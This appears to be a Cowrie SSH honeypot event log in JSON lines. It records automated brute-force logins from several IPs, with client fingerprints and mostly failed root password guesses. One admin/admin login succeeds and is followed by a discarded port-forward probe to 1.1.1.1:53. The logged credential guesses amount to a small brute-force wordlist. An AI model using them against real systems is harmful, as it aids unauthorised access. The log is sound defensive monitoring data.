{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:25:07.819111Z","src_ip":"35.195.251.224","session":"227e1195ff56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.118.29.129","src_port":47626,"dst_ip":"10.17.0.5","dst_port":22,"session":"75fb1e46a30c","protocol":"ssh","message":"New connection: 103.118.29.129:47626 (10.17.0.5:22) [session: 75fb1e46a30c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:25:21.081735Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:25:21.086863Z","src_ip":"103.118.29.129","session":"75fb1e46a30c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:25:21.322612Z","src_ip":"103.118.29.129","session":"75fb1e46a30c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwer1234.","message":"login attempt [root/qwer1234.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:25:22.299903Z","src_ip":"103.118.29.129","session":"75fb1e46a30c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:25:23.546058Z","src_ip":"103.118.29.129","session":"75fb1e46a30c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.51.214.99","src_port":57782,"dst_ip":"10.17.0.5","dst_port":22,"session":"5fead34e4a0d","protocol":"ssh","message":"New connection: 202.51.214.99:57782 (10.17.0.5:22) [session: 5fead34e4a0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:25:52.532217Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:25:52.536988Z","src_ip":"202.51.214.99","session":"5fead34e4a0d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:25:52.774115Z","src_ip":"202.51.214.99","session":"5fead34e4a0d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aileen","message":"login attempt [root/aileen] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:25:53.758535Z","src_ip":"202.51.214.99","session":"5fead34e4a0d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:25:55.000046Z","src_ip":"202.51.214.99","session":"5fead34e4a0d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.118.29.129","src_port":44632,"dst_ip":"10.17.0.5","dst_port":22,"session":"58fe45e131ef","protocol":"ssh","message":"New connection: 103.118.29.129:44632 (10.17.0.5:22) [session: 58fe45e131ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:26:40.895210Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:26:40.899859Z","src_ip":"103.118.29.129","session":"58fe45e131ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:26:41.142917Z","src_ip":"103.118.29.129","session":"58fe45e131ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linux123","message":"login attempt [root/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:26:42.079300Z","src_ip":"103.118.29.129","session":"58fe45e131ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:26:43.319020Z","src_ip":"103.118.29.129","session":"58fe45e131ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":45324,"dst_ip":"10.17.0.5","dst_port":22,"session":"283dbcfa60e2","protocol":"ssh","message":"New connection: 87.251.64.176:45324 (10.17.0.5:22) [session: 283dbcfa60e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:26:47.850867Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:26:47.855174Z","src_ip":"87.251.64.176","session":"283dbcfa60e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:26:47.951326Z","src_ip":"87.251.64.176","session":"283dbcfa60e2","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:26:48.241394Z","src_ip":"87.251.64.176","session":"283dbcfa60e2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:26:48.340503Z","session":"283dbcfa60e2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:26:48.438109Z","src_ip":"87.251.64.176","session":"283dbcfa60e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:26:48.538090Z","src_ip":"87.251.64.176","session":"283dbcfa60e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.51.214.99","src_port":54198,"dst_ip":"10.17.0.5","dst_port":22,"session":"a3152eb54997","protocol":"ssh","message":"New connection: 202.51.214.99:54198 (10.17.0.5:22) [session: a3152eb54997]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:27:17.127121Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:27:17.131404Z","src_ip":"202.51.214.99","session":"a3152eb54997","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:27:17.370408Z","src_ip":"202.51.214.99","session":"a3152eb54997","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"456852","message":"login attempt [root/456852] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:27:18.357524Z","src_ip":"202.51.214.99","session":"a3152eb54997","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:27:19.600418Z","src_ip":"202.51.214.99","session":"a3152eb54997","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.118.29.129","src_port":41632,"dst_ip":"10.17.0.5","dst_port":22,"session":"8f2ea43fd942","protocol":"ssh","message":"New connection: 103.118.29.129:41632 (10.17.0.5:22) [session: 8f2ea43fd942]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:28:00.704995Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:28:00.709440Z","src_ip":"103.118.29.129","session":"8f2ea43fd942","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:28:00.951978Z","src_ip":"103.118.29.129","session":"8f2ea43fd942","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ww12345678","message":"login attempt [root/Ww12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:28:01.957375Z","src_ip":"103.118.29.129","session":"8f2ea43fd942","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:28:03.204512Z","src_ip":"103.118.29.129","session":"8f2ea43fd942","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.226.140.123","src_port":2884,"dst_ip":"10.17.0.5","dst_port":22,"session":"fe54b3a122a5","protocol":"ssh","message":"New connection: 5.226.140.123:2884 (10.17.0.5:22) [session: fe54b3a122a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:28:34.835225Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.8","message":"Remote SSH version: SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:28:37.534506Z","src_ip":"5.226.140.123","session":"fe54b3a122a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"8e8294623d295b5c79addcd28d64328c","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 8e8294623d295b5c79addcd28d64328c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:28:37.538146Z","src_ip":"5.226.140.123","session":"fe54b3a122a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.3","message":"Connection lost after 8.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:28:43.126306Z","src_ip":"5.226.140.123","session":"fe54b3a122a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.51.214.99","src_port":50606,"dst_ip":"10.17.0.5","dst_port":22,"session":"7559cbef7531","protocol":"ssh","message":"New connection: 202.51.214.99:50606 (10.17.0.5:22) [session: 7559cbef7531]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:28:44.670204Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:28:44.677423Z","src_ip":"202.51.214.99","session":"7559cbef7531","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:28:44.915645Z","src_ip":"202.51.214.99","session":"7559cbef7531","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hilo","message":"login attempt [root/hilo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:28:45.897927Z","src_ip":"202.51.214.99","session":"7559cbef7531","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:28:47.139135Z","src_ip":"202.51.214.99","session":"7559cbef7531","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":34984,"dst_ip":"10.17.0.5","dst_port":22,"session":"c159918ed4a6","protocol":"ssh","message":"New connection: 87.251.64.176:34984 (10.17.0.5:22) [session: c159918ed4a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:29:21.120044Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:29:21.124245Z","src_ip":"87.251.64.176","session":"c159918ed4a6","protocol":"ssh"}
